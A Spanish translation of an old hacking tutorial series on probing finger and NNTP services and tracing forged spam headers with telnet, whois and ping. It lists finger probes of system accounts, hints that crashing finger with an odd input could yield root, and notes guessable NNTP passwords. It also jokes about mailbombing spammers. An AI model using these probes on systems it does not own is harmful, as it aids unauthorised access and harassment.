10 Un password que pueda encontrarse en un diccionario aunque tenga un carácter adicional al final (p. ej.: hotelx) *no* es un buen password. Otros comandos de los que puedes obtener alguna respuesta en finger son: finger @ finger 0 finger root finger bin finger ftp finger system finger guest finger demo finger manager O, incluso, simplemente pulsando <enter> una vez que estés en el puerto 79 puede que te dé algo interesante. Hay montones de otros comandos que pueden funcionar o no. Pero la mayoría de los comandos en la mayoría de los programas finger no te responderán nada, porque la mayoría de los administradores de sistema no desean ofrecer la información en bandeja a visitantes puntuales. De hecho, un sysadmin realmente cuidadoso desactivará el programa finger entero. Por ello puede que nunca puedas arreglártelas a entrar por el puerto 79 de algunos ordenadores. Sin embargo, ninguno de los comandos que te he enseñado te dará privilegios de root. Simplemente te ofrecen información. Newbie-Nota #3: ¡Root! Es el Walhalla del cracker principiante. "Root" es la cuenta en un ordenador multi-usuario que te permite convertirte en dios. Es la cuenta desde la que puedes usar y entrar en cualquier otra cuenta, leer y modificar cualquier archivo, usar cualquier programa. Con privilegios de root puedes perfectamente destruir perfectamente todos los datos que haya en boring.ISP.net (¡NO estoy sugiriendo que hagas eso!) Es legal preguntarle al programa finger de boring.ISP.net sobre cualquier cosas que desees saber. Lo peor que puede pasar es que el programa se cuelgue. Colgarse... ¿qué ocurre si finger se queda colgado? Pensemos sobre lo que finger hace actualmente. Es el primer programa que te encuentras cuando haces telnet a boring.ISP.net por el puerto 79. Y una vez allí, le puedes ordenar (mediante un comando) que se dirija a leer archivos de cualquier cuenta de usuario que puedas elegir. Esto significa que finger puede mirar en cualquier cuenta. Eso significa que si finger se cuelga, puedes acabar siendo root. Por favor, si por casualidad consigues privilegios de root en el host de cualquier extraño, ¡sal de ese ordenador inmediatamente! -También harías bien buscando una buena excusa para los administradores de tu sistema y la policía por si fueses detenido! Si consiguieras hacer que finger se colgara dándole algún comando como ///*^S, puedes pasar un buen tiempo intentando explicar que estabas buscando información disponible al público inocentemente. PUEDES-IR-A-LA-CÁRCEL-NOTA #1: Acceder a un área de un ordenador que no está abierta al público es ilegal. Además, si usas las líneas telefónicas o Internet a través de la red telefónica para acceder a una parte no-pública de un ordenador, habrás cometido un delito. Puede que incluso no causes ningún daño, y aún así será ilegal. Hasta si sólo consigues privilegios de root e inmediatamente cierras la conexión, seguirá siendo ilegal. Los tíos de la verdadera élite accederán a una cuenta root desde finger y simplemente se marcharán inmediatamente. Ellos (la élite de los crackers) dicen que la verdadera emoción del cracking viene cuando *eres capaz* de hacerle cualquier cosa a boring.ISP.net, pero aguantas la tentación. La Élite de la élite hacen más que simplemente abstenerse de aprovecharse de los sistemas en los que penetran. Informan a los administradores del sistema de que han entrado en su ordenador, y dejan una explicación de cómo arreglar el agujero de seguridad. PUEDES-IR-A-LA-CÁRCEL-NOTA #2: Cuando accedes a un ordenador, las cabeceras de los paquetes que llevan tus comandos le dicen al sysadmin (administrador del sistema) de tu objetivo quién eres tú. Si estás leyendo este documento es que no sabes lo suficiente como para borrar tus huellas. ¡Sugiérele a tu tentación que se vaya a dar un paseo y te deje tranquilo/a! Ah, pero ¿cuáles son tus oportunidades de conseguir privilegios de root a través de finger? Tropecientos hackers se han quedado con las ganas de entrar en muchos sistemas. ¿Significa eso que los programas finger funcionando en Internet hoy en día están todos asegurados lo suficiente como para que no puedas conseguir privilegios de root nunca más? No. La nota final es que cualquier sysadmin que deje el servicio finger funcionando en su ordenador está asumiendo un gran riesgo. Si eres el usuario de un PSI que permite finger, hazte esta pregunta: ¿vale la pena correr el riesgo de anunciar tu existencia en Internet? OK, estoy acabando este documento. ¡Espero con ansia tu contribución a esta lista. Happy Hacking! ¡y ten cuidado de ser arrestado!

11

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Número 4 ¡Hoy es el día de la diversión del vigilante! Cómo echar a los capullos fuera de sus PSIs. ¿Cuánto te gustaría hacer eso cuando tu discreto newsgroup queda de repente invadido por anuncios de números 900 de sexo y HazDinero-Rápidamente? Si nadie nunca hubiera hecho que esos tíos pagasen por su insolencia, pronto Usenet habría estado invadida de ordinarieces. Es realmente tentador, no crees, usar nuestros conocimientos sobre hacking para echar a esos tíos de una vez por todas. Pero muchas veces hacer eso es igual que usar una bomba atómica para cargarte una hormiga. ¿Para qué arriesgarse a ir a la cárcel cuando existen caminos legales para poner en huida a esas sabandijas? Este capítulo de Happy Hacking te enseñará algunas maneras de luchar contra la escoria en Usenet. Los spammers (nombre dado a quienes realizan este tipo de publicidad abusiva) dependen del email falsificado y los sitios de Usenet. Tal y como aprendimos en el segundo número de la Guía Del Hacking (mayormente) Inofensivo es fácil falsificar el correo electrónico. Bueno, pues también es fácil divertirse con Usenet. Newbie-Nota #1: Usenet es una parte de Internet que está formado por el sistema de grupos de discusión on-line llamado "newsgroups". Ejemplos de newsgroups son rec.humor, comp.misc, news.announce.newusers, sci.space.policy y alt.sex. Existen más de 10,000 newsgroups. Usenet comenzó en 1980 como una red Unix que unía a personas que querían (lo adivinaste) hablar sobre Unix. Entonces alguna de esa gente quiso hablar de otros asuntos, como física, vuelo espacial, humor de bar, y sexo. El resto es historia. Aquí tenemos un rápido sumario de cómo trucar los Usenet sites. Una vez más, usaremos la técnica de hacer telnet a un puerto específico. El puerto Usenet sólo suele estar abierto a aquellas personas que poseen cuentas en ese sistema. Por ello necesitarás hacer telnet desde tu cuenta shell a tu propio PSI de esta manera: telnet news.myISP.com nntp donde tienes que sustituir la parte de tu dirección de email que viene detrás de la @ por "myISP.com". También tienes la posibilidad de usar "119" en lugar de "nntp". Con mi PSI obtengo lo siguiente: Trying 198.59.115.25 ... Conectado a sloth.swcp.com. Escape character is `^]ï. 200 sloth.swcp.com InterNetNews NNRP server INN 1.4unoff 05-ready (posting) Ahora, cuando entremos en un programa que no sepamos muy bien cómo funciona, tecleamos: help Y obtendremos: 100 Legal comands authinfo user Name|pass Password|generic <prog> <args> article [MessageID|Number] body [MessageID|Number] date group newsgroup head [MessageID|Number] help ihave last list [active|newsgroups|distributions|schema] listgroup newsgroup mode reader newsgroups yymmdd hhm mss ["GMT"] [] next post slave stat [MessageID|Number] xgtitle [group_pattern] xhdr header [range|MessageID] xover [range] xpat header range|MessageID pat [morepat...] xpath Message ID Informar sobre posibles problemas a <[email protected]>

12 Usa tu imaginación con estos comandos. Además, si pretendes hackear sites desde un PSI distinto al tuyo, ten presente que algunos Internet hosts tienen un puerto nntp que o no requiere password o uno fácilmente adivinable como "post" o "news". Pero puede ser un gran esfuerzo encontrar un puerto nntp que no esté defendido. Por ello, y porque normalmente tendrás que hacerlo en tu propio PSI, es mucho más difícil que hackear el email. Sólo recuerda cuando estés "hackeando" Usenet sites que tanto el email como los Usenet sites trucados pueden ser detectados fácilmente, si sabes buscar para ello. Y es posible decir desde dónde fueron hackeados. Una vez que detectes de dónde viene realmente el "spam", puedes utilizar el Message-ID (Identificaci¢n del Mensaje) para enseñarle al sysadmin (administrador del sistema) a quién debe echar. Normalmente no te será posible averiguar la identidad del culpable por ti mismo. ¡Pero puedes hacer que sus PSIs le cancelen sus cuentas! Seguramente estos Reyes del Spamming volverán a aparecer en cualquier otro PSI inocentón. Siempre est n en activo. Y, hey, ¿cuando fue la última vez que recibiste una "Maravillosa Oferta de Descuentos en su Compra"? Si no fuese por nosotros, los vigilantes de la Red, vuestros buzones y newsgroups estarían continuamente llenos de basura. Y además el ataque contra los spammers que estoy a punto de enseñarte es ¡perfectamente legal! Hazlo y te convertir s en un Chico Bueno oficialmente. Hazlo en una fiesta y enseña a tus amigos a hacerlo también. ¡Es difícil conseguir demasiados vigilantes anti-spam ahí fuera! Lo primero que tenemos que hacer es revisar cómo leer los encabezamientos (headers) de los artículos de Usenet y el email. El encabezamiento es lo que nos muestra la ruta que el email o el artículo de Usenet utilizó para llegar hasta tu ordenador. Nos da los nombres de los Internet hosts que han sido usados en la creación y la transmisión de un mensaje. Sin embargo, cuando algo ha sido falsificado puede que los nombres de esos hosts sean falsos también. Como alternativa para evitar esto, el avezado falsificador usar nombres de hosts reales. Pero el hacker experimentado es capaz de decir si los hosts listados en el encabezamiento fueron usados realmente. Primero analizaremos un ejemplo de spamming en Usenet. Un lugar realmente bueno para encontrar basura de esta clase es alt.personals. No es un lugar tan patrullado por vigilantes anti-spam como por ejemplo digamos rec.aviation.military. (¡Los que se meten con pilotos de guerra lo hacen por su propia cuenta y riesgo, y asumiendo las consecuencias!) Así que lo que tenemos aquí es un frecuente ejemplo de spamming descarado, tal y como es mostrado por el lector de News basado en Unix "tin": Thu, 22 Aug 1996 23:01:56 alt.personals Tomados 134 de 450 Lines 110 >>>>TEST DE COMPATIBILIDAD GRATIS E INSTANTµNEO Sin responder [email protected] glennys e clarke at OzEmail Pty Ltd - Australia HAZ CLICK AQUÖ PARA TU TEST DE COMPATIBILIDAD GRATIS E INSTANTµNEO! http://www.perfect-partners.com.au POR QUÉ LOS SOLTEROS MÁS SELECTIVOS NOS ESCOGEN En Perfect Partners (Newcastle) International somos privados y confidenciales. Presentamos damas y caballeros entre sí con propósitos de amistad y matrimonio. Con más de 15 años de experiencia, Perfect Partner es una de las agencias de contactos de amistad en Internet con más prestigio y éxito. Por supuesto la primera cosa que resalta sobre el resto es la dirección de email de retorno. Nosotros los vigilantes de la red solíamos mandar siempre de retorno una copia del puñetero mensaje a la dirección de correo electrónico del spammer. En un grupo de News tan consultado como alt.personals, si únicamente uno de cada cien lectores devuelve el mensaje a la cara del remitente (mejor dicho, a su buzón) obtendremos una avalancha de mail-bombing. Esta avalancha alerta inmediatamente a los sysadmins (administradores de sistema) del PSI de la presencia de un spammer, y "Hasta Luego Lucas" a la cuenta del capullo. Por ello, para retrasar la inevitable respuesta de los vigilantes, hoy en día muchos spammers utilizan direcciones de email falsas o trucadas. Para comprobar si la dirección de email es falsa, salgo de "tin" y en el prompt de Unix tecleo el comando: whois ozemail.com.au Obtengo la respuesta: no match for "OZEMAIL.COM.AU" (no existe "OZEMAIL.COM.AU") Sin embargo eso no prueba nada, porque el "au" del final de la dirección de email significa que es una dirección de Australia. Desafortunadamente, "whois" no funciona en la mayoría de Internet fuera de USA. El siguiente paso es mandar algún email de queja a esta dirección. Una copia del propio spam es normalmente una protesta suficiente. Pero por supuesto le enviamos el email sin dirección del mensaje (nuestra). A continuación voy a la Web que se anuncia. Llego y contemplo que hay una direcci¢n de email de esta compañía, [email protected]. ¿Por qué no me sorprendo cuando veo que no es la misma que la que había en el mensaje de alt.personals? Podríamos detenernos justo aqu¡ y tirarnos una o dos horas mandando 5 MB de emails con basura en los attachments a [email protected]. Hmmm, ¿mandamos gifs de hipopótamos apareándose? Puedes-Ir-A-La-Cárcel-Nota: Mailbombing es una manera de meterse en serios problemas. Según la experta en seguridad informática Ira Winkler "Es ilegal hacer mail-bomb a un spammer. Si llega a ser demostrado que tu causaste maliciosamente cualquier pédida financiera, en las que se pueden incluir el provocar horas de trabajo recuperándose de un mail-bomb, tienes responsabilidad de tipo criminal (culpabilidad). Si un sistema no está configurado correctamente, y tiene el directorio de correo en el disco duro del sistema, puedes reventar el sistema entero. Esto te convierte en más criminal todavía".

13 Puff. Desde que el mailbombing intencionado es ilegal, no puedo mandar esos gifs de hipopótamos apareándose. Por esto lo que hice fue enviar de vuelta una copia del spam a perfect.partners. Puede que parezca una venganza estúpida, pero aprenderemos a hacer mucho más que eso. Incluso mandando un sólo email a esos tíos puede convertirse en el comienzo de una oleada de protestas que los eche de Internet de una vez por todas. Si únicamente una de mil personas que reciben el spamming van a la Web de los tíos esos y les envía un email de protesta, aún así recibirán miles de protestas a consecuencia de sus abusivos mensajes. Este gran volumen de email puede ser suficiente para alertar a los sysadmins del PSI de la presencia del spammer, y, como dije, "hasta luego lucas" a la cuenta del spammer. Fíjate lo que dice Dale Amon (propietario/operador de un PSI) sobre el poder del email-protesta: "Uno no tiene que pedir ayuda para hacer un mail-bomb. Simplemente ocurre y ya está. Cuando veo un spammer, automáticamente le mando una copia de su propio mensaje. Me imagino que un montón de gente más hará lo mismo al mismo tiempo. Si ellos (los spammers) ocultan su dirección de email (la verdadera), la averiguo y les mando el correspondiente mensaje si tengo tiempo. En absoluto me remuerde la conciencia al hacerlo." Hoy en día Dale es el propietario y el director técnico del PSI más grande y antiguo de Irlanda del Norte, por ello conoce perfectamente los mejores modos de descubrir qué PSI está albergando al spammer. Y estamos a punto de aprender uno de ellos. Nuestro objetivo es descubrir quién ofrece la conexión a Internet a estas personas, y también ¡quitarles esa conexión! Créeme, cuando la gente que controla un PSI encuentra que uno de sus clientes es un spammer, normalmente no tardan mucho en echarlos fuera. Nuestro primer paso ser diseccionar el encabezamiento del mensaje para ver cómo y dónde fue falsificado. Dado que mi lector de news (tin) no permite visualizar los encabezamientos, uso el comando "m" para enviar una copia de este mensaje a mi cuenta shell. Llega unos pocos minutos después. Abro el mensaje con el programa de email "Pine" y obtengo un encabezamiento con todo lujo de detalles: Path: sloth.swcp.com!news.ironhorse.com!news.uoregon.edu!vixen.cso.uiuc.edu!news.s tealth.net!nntp04.primenet.com!nntp.primenet.com!gatech!nntp0.mindspring.com !news.mindspring.com!uunet!in2.uu.net!OzEmail!OzEmail-In!news From:glennys e clarke NNTP-Posting-Host: 203.15.166.46 Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 1.22 (Windows; I; 16bit) El primer elemento de este encabezamiento es rotundamente verdadero: sloth.swcp.com. Es el ordenador que mi PSI utiliza para albergar los newsgroups. Es el último enlace en la cadena de ordenadores que ha distribuido el mensaje-spam por el mundo. Newbie-Nota #2: Los hosts de Internet tienen dos "nombres" con diferente significado referente a su dirección en la Red. "Sloth" es el nombre de uno de los ordenadores que posee la compañía con dominio swcp.com. Por ejemplo "sloth" es digamos el nombre del servidor de news, y "swcp.com" el apellido. "Sloth" se puede interpretar también como el nombre de la calle, y "swcp.com" el nombre de la ciudad, estado y código zip. "Swcp.com" es el nombre del dominio que posee la compañía Southwest Cyberport. Todos los hosts tienen además versiones numéricas de sus nombres (n§ de IP) por ejemplo 203.15.166.46. Lo siguiente que haremos es obvio. El encabezamiento dice que el mensaje tuvo como origen el host 203.15.166.46. Por ello hacemos telnet a su servidor de nntp (puerto 119): telnet 203.15.166.46 119 Obtenemos: Trying 203.15.166.46 ... telnet: connect: Conexión rechazada Parece ser a todas luces que este elemento del encabezamiento está falsificado. Si este realmente fuera un ordenador que alberga newsgroups, debería tener un puerto de nntp que aceptara visitantes. éticamente me aceptaría durante ese medio segundo que tarda en darse cuenta de que yo no estoy autorizado para usarlo, pero lo haría. Sin embargo en este caso rechaza cualquier tipo de conexión. Aquí tenemos otra explicación: hay un firewall en este ordenador que filtra los paquetes de información y que sólo acepta a usuarios autorizados. Pero esto no es lo corriente en un PSI utilizado por un spammer. Esta clase de firewall se utiliza normalmente para conectar una red local de una empresa con Internet. A continuación intento mandar un email (una copia del spam) a [email protected]. Pero esto es lo que obtengo: Fecha: Wed, 28 Aug 1996 21:58:13 -0600 From: Mail Delivery Subsystem <[email protected]> To: [email protected] Subject: Returned mail: Host desconocido (Name server: 203.15.166.46: host no encontrado) Fecha de recepci¢n del mensaje original: Wed, 28 Aug 1996 21:58:06 -0600 from cmeinel@localhost ----- Las siguientes direcciones presentan problemas de reparto -----

14 [email protected] (error irreparable) ----- Transcript of session follows ----- ("Transcripción de la sesión") 501 [email protected]... 550 Host desconocido (Name server: 203.15.166.46: host no encontrado) ----- Original message follows ----- ("Mensaje original") Return-Path: cmeinel Recibido: (from cmeinel@localhost) by kitsune.swcp.com (8.6.9/8.6.9) id OK, parece ser que la información sobre el servidor de nntp era falsa también. A continuación comprobamos el segundo elemento de la línea inicial del encabezamiento. Como empieza con la palabra "news", me figuro que se tratará de un ordenador que alberga newsgroups. Compruebo su puerto nntp para asegurarme: telnet news.ironhorse.com nntp Y el resultado es: Trying 204.145.167.4 ... Conectado a boxcar.ironhorse.com. Escape character is `^]ï. 502 Usted no posee permiso para hablar. Adios. Conexión cerrada por host remoto. OK, sabemos entonces que esa parte del encabezamiento hace referencia a un server de news real. Oh, sí, también hemos averiguado el nombre/dirección que el ordenador ironhorse.com usa para albergar las news: "boxcar". Pruebo el siguiente elemento de la ruta: telnet news.uoregon.edu nntp Y obtengo: Trying 128.223.220.25 ... Conectado a pith.uoregon.edu. Escape character is `^]ï. 502 Usted no posee permiso para hablar. Adios. Conexión cerrada por el host remoto. OK, este era también un server de news válido. Ahora saltemos hasta el último elemento el encabezamiento: in2.uu.net: telnet in2.uu.net nntp Conseguimos esta respuesta: in2.uu.net: host desconocido Aquí hay algo sospechoso. Este host del encabezamiento no est conectado ahora mismo a Internet. Probablemente sea falso. Ahora comprobemos el nombre de dominio: whois uu.net El resultado es: UUNET Technologies, Inc. (UU-DOM) 3060 Williams Drive Ste 601 Fairfax, VA 22031 USA Nombre de Dominio: UU.NET Administrative Contact, Technical Contact, Zone Contact: UUNET, Alternet [Technical Support] (OA12) [email protected] +1 (800) 900-0241 Billing Contact: Payable, Accounts (PA10-ORG) [email protected] (703) 206-5600 Fax: (703) 641-7702 Record last updated on 23-Jul-96 Record created on 20-May-87. Domain servers listed in order: NS.UU.NET 137.39.1.3 UUCP-GW-1.PA.DEC.COM 16.1.0.18 204.123.2.18 UUCP-GW-2.PA.DEC.COM 16.1.0.19 NS.EU.NET 192.16.202.11 The InterNIC Registration Services Host contains ONLY Internet Information (Networks, ASNïs, Domains, and POCïs) Please use the whois server at nic.ddn.mil for MILNET Information. Vemos que uu.net es un dominio real. Pero teniendo en cuenta que el host in2.uu.net que aparece en el encabezamiento no está conectado actualmente a Internet, puede que esta parte del encabezamiento sea falsa. (Puede haber también otras explicaciones para esto). Volviendo al elemento anterior del encabezamiento, probamos a continuación: telnet news.mindspring.com nntp

15 Obtengo: Trying 204.180.128.185 ... Conectado a news.mindspring.com Escape character is `^]ï. 502 Usted no est registrado en mi archivo de acceso. Adios. Conexión cerrada por host remoto. Interesante. No obtengo ningún nombre de host específico para el puerto nntp (recordemos, como antes "boxcar", por ej.). ¿Qué significa esto? Bueno, hay una cosa que podemos hacer. Hagamos telnet al puerto que nos presenta la orden de que debemos hacer login. Ese puerto es el 23, pero telnet va automáticamente al 23 a menos que le digamos lo contrario: telnet news.mindspring.com Ahora ver s qu‚ divertido!: Trying 204.180.128.166 ... telnet: conectar a dirección 204.180.128.166: Conexión rechazada Trying 204.180.128.167 ... telnet: conectar a dirección 204.180.128.167: Conexión rechazada Trying 204.180.128.168 ... telnet: conectar a dirección 204.180.128.168: Conexión rechazada Trying 204.180.128.182 ... telnet: conectar a dirección 204.180.128.182: Conexión rechazada Trying 204.180.128.185 ... telnet: conectar a dirección 204.180.128.185: Conexión rechazada Date cuenta ¡cuántos hosts son probados por telnet con este comando! Parece que todos ellos deben ser servers de news, ya que parece que ninguno de ellos presenta el menú de login. Este parece ser un buen candidato como origen del spamming. Hay 5 servidores de news. Hagamos un whois del nombre de dominio: whois mindspring.com Obtenemos: MindSpring Enterprises, Inc. (MINDSPRING-DOM) 1430 West Peachtree Street NE Suite 400 Atlanta, GA 30309 USA Nombre de Dominio: MINDSPRING.COM Administrative Contact: Nixon , J. Fred (JFN) [email protected] 404-815-0770 Technical Contact, Zone Contact: Ahola, Esa (EA55) [email protected] (404) 815-0770 Billing Contact: Peavler, K. Anne (KAP4) [email protected] (404) 815-0770 (FAX) 404-815-8805 Record last updated on 27-Mar-96 Record created on 21-Apr-94. Domains servers listed in order: CARNAC.MINDSPRING.COM 204.180.128.95 HENRI.MINDSPRING.COM 204.180.128.3 Newbie-Nota #3: El comando whois puede decirte quién es el propietario de un determinado dominio. El nombre de dominio son las dos últimas partes separadas por un punto que vienen después de la "@" en una dirección de email, o las dos últimas partes separadas por un punto en el nombre de un ordenador. Yo diría que Mindspring es el PSI desde el que seguramente se falsificó el mensaje. La razón es que esta parte del encabezamiento parece verdadera, y ofrece montones de ordenadores desde los que falsificar un mensaje. Una carta a la consultoría técnica en [email protected] con una copia del mensaje (del spam) puede que obtenga resultado. Pero personalmente yo iría a su página Web y les mandaría un email de protesta desde allí. Hmmm, ¿tal vez 5MB gif de hipopótamos apareando? ¿Aunque sea ilegal? Pero el sysadmin Terry McIntyre me advierte: "No hace falta enviarles toneladas de megas de basura. Simplemente con enviarles una copia del spam es suficiente, para que el que lo envió primero (el spammer) sepa cuál es el problema." "La Ley del Gran Número de Ofendidos va a tu favor. El spammer manda un mensaje para alcanzar/llegar/tantear al máximo número de consumidores potenciales posibles."

16 "Miles de Fastidiados mandan mensajes no-tan-amables al spammer criticando su conducta incorrecta. Y muchos spammers toman ejemplo rápidamente y se arrepienten". "Una cosa que nunca debería hacerse es enviar (publicar) al newsgroup o la lista de correo una protesta por la incorrección del spam anterior. Siempre, siempre, hay que usar el email privado para hacer ese tipo de reclamaciones. De otro modo, el newbie sin darse cuenta aumenta el nivel de ruido (basura) que circula por el newsgroup o la lista de correo". Bueno, la última frase significa que si realmente quieres tirar del enchufe del spammer, yo mandaría una amable nota incluyendo el mensaje-spam con los encabezamientos intactos a la consultoría técnica o al departamento de atención al cliente de cada uno de los links reales que encontré en el encabezamiento del spam. Seguramente te lo agradecerán. Aquí tenemos un ejemplo de un email que me envió Netcom agradeciéndome la ayuda prestada en la detección de un spammer: From: Netcom Abuse Department Reply-To: Subject: Gracias por su informe Gracias por su información. Hemos informado a este usuario de nuestras normas y hemos tomado las medidas oportunas, incluyendo la cancelación de la cuenta. Si él o su empresa continúa transgrediendo las normas de Netcom, tomaremos acciones legales. Los siguientes usuarios han sido informados: [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] Disculpe por la longitud de la lista. Spencer Investigador de Abusos ________________________ NETCOM Online Communication Services Asuntos de Abusos L¡nea 24-horas: 408-983-5970 [email protected] OK, ya estoy finalizando el artículo. ¡Feliz Hacking! ¡¡Y que no te atrapen!!

17

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Número 5 ¡Es el día divertido del vigilante! Como kickear a los spammers de Usenet de sus ISPs Así que, ¿has estado por Usenet volando spammers? ¿Es divertido, no? Pero si alguna vez has posteado mucho en los grupos de noticias de Usenet, te darás cuenta que poco después de que lo haces, recibes a menudo spam email. Esto es gracias al Lightning Bolt, un programa escrito por Jeff Slayton para sacar grandes volúmenes de direcciones email de los mensajes de Usenet. Aquí va uno que recibí hace poco: Received: from mail.gnn.com (70.los-angeles-3.ca.dial-access.att.net [165.238.38.70]) by mail-e2b-service.gnn.com (8.7.1/8.6.9) with SMTP id BAA14636; Sat, 17 Aug 1996 01:55:06 -0400 (EDT) Date: Sat, 17 Aug 1996 01:55:06 -0400 (EDT) Message-Id: <[email protected]> To: Subject: Para siempre From: [email protected] "GRATIS" Hogar y parcela en el "CIELO" Reserva ya la tuya, hazlo hoy, no esperes. Es GRATIS simplemente por preguntar. Recibes una Acción personalizada y un mapa detallado de tu hogar en el CIELO. Manda tu nombre y dirección junto con una mínima y única donación de $1.98 en metálico, cheque, o giro para ayudar a cubrir los costes. A: Saint Peter's Estates P.O. Box 9864 Bakersfield,CA 93389-9864 Esta es una comunidad cerrada y es "GRATIS". Satisfacción total por 2000 años desde hoy. >De El Portero. (PD. Nos vemos en las Puertas de Perla) DIOS te bendiga. Es una buena deducción que este spam tiene una cabecera falsa. Para identificar al culpable, empleamos el mismo comando que usamos con el spam de Usenet. whois heaven.com La respuesta es: Time Warner Cable Broadband Applications (HEAVEN-DOM) 2210 W. Olive Avenue Burbank, CA 91506 Domain Name: HEAVEN.COM Administrative Contact, Technical Contact, Zone Contact, Billing Contact: Melo, Michael (MM428) [email protected] (818) 295-6671 Record last updated on 02-Apr-96. Record created on 17-Jun-93. Domain servers in listed order: CHEX.HEAVEN.COM 206.17.180.2 NOC.CERF.NET 192.153.156.22 A partir de esto podemos deducir que o bien esto es genuino (lo más probable) o una falsificación mejor de lo normal. Así que tratemos de hacer finger a [email protected]. Primero, comprobemos la dirección email de retorno: finger [email protected] Nos da: [heaven.com] finger: heaven.com: Connection timed out Hay varias razones posibles para esto. Una es que el administrador de sistema de heaven.com haya deshabilitado en puerto de finge. Otra es que heaven.com este inactivo. Podría estar en un host que estuviese apagado, o quizás tal vez huérfano. Nota para novatos: Puedes registrar nombres de dominio sin tenerlos montados en ningún ordenador. Simplemente pagas tu dinero e Internic, que registra nombres de dominio, lo apartara para que tú lo uses. Sin embargo, si no lo hospedas en un ordenador en Internet en unas semanas, podrías perder tu registro. Podemos comprobar estas hipótesis con el comando ping. Este comando te dice si un ordenador esta actualmente conectado a Internet y la calidad de su conexión.

18 Ahora, el ping, como la mayoría de las buenas herramientas hacker, puede usarse o bien para recibir información o bien como un medio de ataque. Pero yo te voy a hacer esperar con desesperado suspense a una posterior Guía Del Hacking (casi) Inofensivo para decirte como algunas personas usan el ping. Además, si, seria *ilegal* usarlo como un arma. Debido al potencial del ping para estos fines, tu cuenta shell puede tener deshabilitado el uso de ping para el usuario casual. Por ejemplo, con mi proveedor, debo ir al directorio correcto para usarlo. Así que doy el comando: /usr/etc/ping heaven.com El resultado es: heaven.com is alive Consejo técnico: En algunas versiones de UNIX, al dar el comando "ping" hará que tu ordenador comience a "pingear" al blanco una y otra vez sin parar. Para salir del comando ping, mantén presionada la tecla control y presiona "c". Y ten paciencia, la siguiente Guía Del Hacking (casi) Inofensivo te dirá mas acerca del serio uso hacking del ping. Bueno, esta respuesta significa que heaven.com esta conectado a Internet ahora mismo. ¿Permite logins? Lo comprobamos con: telnet heaven.com Esto nos debería llevar a una pantalla que nos pediría que le diésemos un nombre de usuario y un password. El resultado es: Trying 198.182.200.1 ... telnet: connect: Connection timed out Bien, ahora sabemos que la gente no puede hacer login a heaven.com. Así que parece que fuera un lugar poco probable para que el autor de este spam hubiese mandado el email. ¿Y qué hay de chex.heaven.com? ¿Quizás sea el lugar donde se origino el spam? Tecleo: telnet chex.heaven.com 79 Este es el puerto de finger. Recibo: Trying 206.17.180.2 ... telnet: connect: Connection timed out Entonces intento lo de la pantalla que me pida hacer un login con un nombre de usuario, pero una vez mas consigo "Connection timed out". Esto sugiere que ni heaven.com ni chex.heaven.com son usados por la gente para mandar email. Así que probablemente esto sea un enlace falseado en la cabecera. Comprobemos otro enlace de la cabecera: whois gnn.com La respuesta es: America Online (GNN2-DOM) 8619 Westwood Center Drive Vienna, VA 22182 USA Domain Name: GNN.COM Administrative Contact: Colella, Richard (RC1504) [email protected] 703-453-4427 Technical Contact, Zone Contact: Runge, Michael (MR1268) [email protected] 703-453-4420 Billing Contact: Lyons, Marty (ML45) [email protected] 703-453-4411 Record last updated on 07-May-96. Record created on 22-Jun-93. Domain servers in listed order: DNS-01.GNN.COM 204.148.98.241 DNS-AOL.ANS.NET 198.83.210.28 ¡Vaya! GNN.com pertenece a America Online. America Online, como Compuserve, es una red de ordenadores por si misma que tiene entradas a Internet. Así que ¿no es muy probable que heaven.com estuviera enrutando email a través de AOL?, ¿no? Seria como encontrar una cabecera que afirmase que su email fue encaminado a través del amplio área de red de alguna corporación Fortune 500. Así que, esto nos da aun más evidencias de que el primer enlace de la cabecera, heaven.com, fue falseado. De hecho, esta empezando a ser una buena apuesta el que nuestro spammer sea un novato que se acaba de graduar de las ruedas de entrenamiento de AOL. Habiendo decidido que se puede hacer dinero falseando spams, el o ella se ha hecho con una cuenta shell ofrecida por una filial de AOL, GNN. Entonces con la cuenta shell, el o ella puede seriamente meterse en el tema del falseo de email. Suena lógico, ¿eh? Ah, pero no saquemos conclusiones. Esto es solo una hipótesis y puede no ser correcta. Así que comprobemos el enlace que falta en la cabecera:

19 whois att.net La respuesta es: AT&T EasyLink Services (ATT2-DOM) 400 Interpace Pkwy Room B3C25 Parsippany, NJ 07054-1113 US Domain Name: ATT.NET Administrative Contact, Technical Contact, Zone Contact: DNS Technical Support (DTS-ORG) [email protected] 314-519-5708 Billing Contact: Gardner, Pat (PG756) [email protected] 201-331-4453 Record last updated on 27-Jun-96. Record created on 13-Dec-93. Domain servers in listed order: ORCU.OR.BR.NP.ELS-GMS.ATT.NET 199.191.129.139 WYCU.WY.BR.NP.ELS-GMS.ATT.NET 199.191.128.43 OHCU.OH.MT.NP.ELS-GMS.ATT.NET 199.191.144.75 MACU.MA.MT.NP.ELS-GMS.ATT.NET 199.191.145.136 ¡Otro dominio válido! Así que esto es una falsificación razonablemente ingeniosa. El culpable podría haber mandado email desde cualquiera, entre heaven.com, gnn.com o att.net. Sabemos que heaven.com es poco probable ya que ni siquiera podemos hacer que el puerto de logins (23) funcione. Pero aun tenemos gnn.com y att.net como hogares sospechosos del spammer. El siguiente paso es mandar vía email una copia del spam *incluyendo la cabecera* tanto a [email protected] (normalmente la dirección email de la persona que recibe las quejas) y [email protected], que esta en la lista cuando hemos hecho el whois como el contacto técnico. Deberíamos también mandarlo a [email protected] o [email protected] (contacto técnico). Pero hay un atajo. Si este tío te ha mandado el spam, muchas otras personas también lo habrán recibido. Hay un grupo de noticias en Usenet donde la gente puede cambiar información acerca de spammers de email y de Usenet, news.admin.net-abuse.misc. Hagámosle una visita y veamos lo que la gente ha descubierto acerca de [email protected]. Seguro, encuentro un mensaje acerca de este spam de heaven: From: [email protected] (Matt Bartley) Newsgroups: news.admin.net-abuse.misc Subject: junk email - Free B 4 U - [email protected] Supersedes: <[email protected]> Date: 15 Aug 1996 14:08:47 -0700 Organization: Interstate Electronics Corporation Lines: 87 Message-ID: <[email protected]> NNTP-Posting-Host: helium.iecorp.com (snip) No hay duda, un inventado "From:" en la cabecera que parecía pertenecer a un nombre de dominio valido. Los Postmasters de att.net, gnn.com y heaven.com lo notificaron. 